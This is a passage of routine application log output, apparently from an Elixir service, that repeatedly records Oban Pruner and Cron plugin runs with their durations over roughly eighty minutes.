{"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:58.343 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.794 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:28.346 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:58.349 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.796 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:28.352 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:58.355 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.798 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:28.358 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:58.361 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.799 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:28.364 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:58.366 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.800 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:28.369 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:58.372 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.801 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:28.375 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:58.378 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.802 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:28.381 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:58.384 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.803 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:28.387 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:58.389 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.804 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:28.390 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:58.393 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.805 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:28.394 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:58.396 [info] {"source":"oban","duration":2415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.807 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:28.400 [info] {"source":"oban","duration":2571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:58.403 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.807 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:28.406 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:58.409 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.809 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:28.411 [info] {"source":"oban","duration":2215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:58.414 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.810 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:28.417 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:58.420 [info] {"source":"oban","duration":1863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.811 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:28.423 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:58.426 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.813 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:28.426 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:58.429 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.814 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:28.432 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:58.435 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.815 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:28.438 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:58.441 [info] {"source":"oban","duration":2269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.817 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:28.444 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:58.447 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:00.818 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:30:28.450 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:30:58.453 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:00.820 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:31:28.456 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:31:58.458 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:00.821 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:32:28.461 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:32:58.464 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:00.823 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:33:28.467 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:33:58.470 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:00.824 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:34:28.473 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:34:58.476 [info] {"source":"oban","duration":2015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:00.826 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:35:28.479 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:58.482 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.827 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:28.485 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:58.488 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.827 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:28.490 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:58.492 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.829 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:28.495 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:58.498 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.830 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:28.501 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:58.504 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.830 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:28.507 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:58.509 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.831 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:41:28.512 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:58.515 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.832 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:28.516 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:58.519 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.834 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:28.522 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:58.525 [info] {"source":"oban","duration":2281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.835 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:28.528 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:58.530 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.837 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:28.533 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:58.536 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.839 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:28.539 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:58.542 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.840 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:28.544 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:58.547 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.841 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:28.549 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:58.552 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.843 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:28.555 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:58.558 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.844 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:28.561 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:58.564 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.846 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:28.566 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:58.569 [info] {"source":"oban","duration":2230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.847 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:28.572 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:58.575 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.849 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:28.578 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:58.581 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.851 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:28.584 [info] {"source":"oban","duration":2173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:58.587 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.853 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:28.590 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:58.593 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.855 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:28.596 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:58.599 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.857 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:28.602 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:58.605 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.858 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:28.607 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:58.609 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.859 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:28.612 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:58.615 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.861 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:28.618 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:58.621 [info] {"source":"oban","duration":2223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.863 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:28.624 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:58.627 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.863 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:28.630 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:58.633 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.864 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:28.636 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:58.639 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.865 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:28.642 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:58.645 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.867 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:28.648 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:58.651 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.869 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:28.653 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:58.656 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.871 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:28.659 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:58.661 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.873 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:28.664 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:58.667 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.874 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:28.670 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:58.673 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.876 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:10:28.676 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:58.679 [info] {"source":"oban","duration":1975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.878 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:11:28.682 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:58.685 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.880 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:12:28.688 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:58.688 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.882 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:13:28.689 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:58.690 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.884 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:14:28.691 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:58.692 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.886 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:15:28.694 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:58.696 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.887 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:16:28.696 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:58.698 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.888 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:17:28.698 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:58.700 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.890 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:18:28.701 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:58.702 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.892 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:28.703 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:58.704 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.894 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:28.706 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:58.707 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.895 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:28.708 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:58.709 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.896 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:28.710 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:58.711 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.898 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:28.712 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:58.714 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.899 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:28.716 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:58.717 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.900 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:28.720 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:58.723 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.901 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:28.725 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:58.727 [info] {"source":"oban","duration":2338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.903 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:28.729 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:58.730 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.904 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:28.732 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:58.733 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.905 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:28.734 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:58.734 [info] 